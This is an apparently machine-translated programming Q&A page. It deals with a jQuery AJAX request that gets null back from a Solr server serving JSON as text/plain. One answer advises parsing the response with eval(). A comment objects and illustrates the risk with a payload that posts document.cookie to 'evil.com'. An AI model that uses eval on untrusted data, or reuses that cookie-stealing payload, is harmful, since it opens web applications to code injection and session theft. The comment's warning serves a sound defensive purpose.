2010-10-07 27 views
2

更新:以下在IE8中工作正常,但在Firefox數據回來空:檢索純文本與jQuery Ajax和轉換成JSON

$.getJSON('myUrl/solr/select/?q=citystate%3ASea*&version=2.2&start=0&rows=3&indent=on&wt=json&fl=citystate', function(data) { 
    alert(data.response.docs[0].citystate); 
}); 

我有一個生成的JSON數據作爲普通的碼頭服務器文本 - 在這裏是什麼頭樣子:

Last-Modified Wed, 06 Oct 2010 23:22:27 GMT 
Etag "OTI5YWMzYzFkNDgwMDAwMFNvbHI=" 
Content-Type text/plain; charset=utf-8 
Content-Length 565 
Server Jetty(6.1.3) 

下面是輸出的一個例子:

{ 
"responseHeader":{ 
    "status":0, 
    "QTime":1, 
    "params":{ 
    "fl":"citystate", 
    "indent":"on", 
    "start":"0", 
    "q":"citystate:Sea*", 
    "wt":"json", 
    "version":"2.2", 
    "rows":"10"}}, 
"response":{"numFound":233,"start":0,"docs":[ 
    { 
    "citystate":"Seaboard, AL"}, 
    { 
    "citystate":"Seale, AL"}, 
    { 
    "citystate":"Seacliff, AL"}, 
    { 
    "citystate":"Sealy Springs, AL"}, 
    { 
    "citystate":"Searcy, AL"}, 
    { 
    "citystate":"Searight, AL"}, 
    { 
    "citystate":"Searles, AL"}, 
    { 
    "citystate":"Seasha, AL"}, 
    { 
    "citystate":"Searcy, AR"}, 
    { 
    "citystate":"Seaton, AR"}] 
}} 

我想用jQuery的AJAX調用這樣的檢索此數據:

$.ajax({ 
    type: "GET", 
    url: "myUrl/?q=citystate%3ASea*&version=2.2&start=0&rows=10&indent=on&wt=json&fl=citystate", 
    dataType: "json", 
    contentType: "text/plain; charset=utf-8", 
    success: function(data, textStatus){ 
    alert("data: " + data); 
    }, 
    error: function(data){ 
    alert("error"); 
    } 
}); 

但是,結果我回來總是空。我究竟做錯了什麼?

回答

-2

如果你不能讓你的服務器發送適當的Content-type頭(即應用/ JSON文/ JavaScript的),你應該只是希望純文本dataType: 'text'和評估。

function(data){ 
    eval('var data = ' + data + ';'); 
    // Rest of your code 
} 
+0

請不要使用'''eval'''來轉換JSON。使用'''JSON.parse'''。如果沒有,你可以包含來自https://github.com/douglascrockford/JSON-js的json2.js – 2012-12-12 16:19:40

+0

'var myfunc = new Function('return'+ data);'?它實際上和'eval'一樣,只是以一種節省的方式。 – jsmorph 2013-09-14 11:28:25

+0

'新功能'不安全。您仍然允許您不受控制的數據在應用程序中作爲代碼運行。例如,'data ='($ .post(「evil.com」,document.cookie),alert(「現在你的上帝在哪裏」),null)''。 – 2014-08-11 09:11:17

-2

不知道這是否是問題的根源,但我知道jQuery對於JSON格式非常嚴格。您的一些JSON值不用引號括起來。例如:

"status":0 

我不是在一個地方,我可以很容易地證實,在我自己的環境,所以它可能是一個總的紅鯡魚。但可能值得快速複查。

+2

數字是完全有效的JSON。請參閱http://json.org/上的規範 – 2012-12-12 16:15:52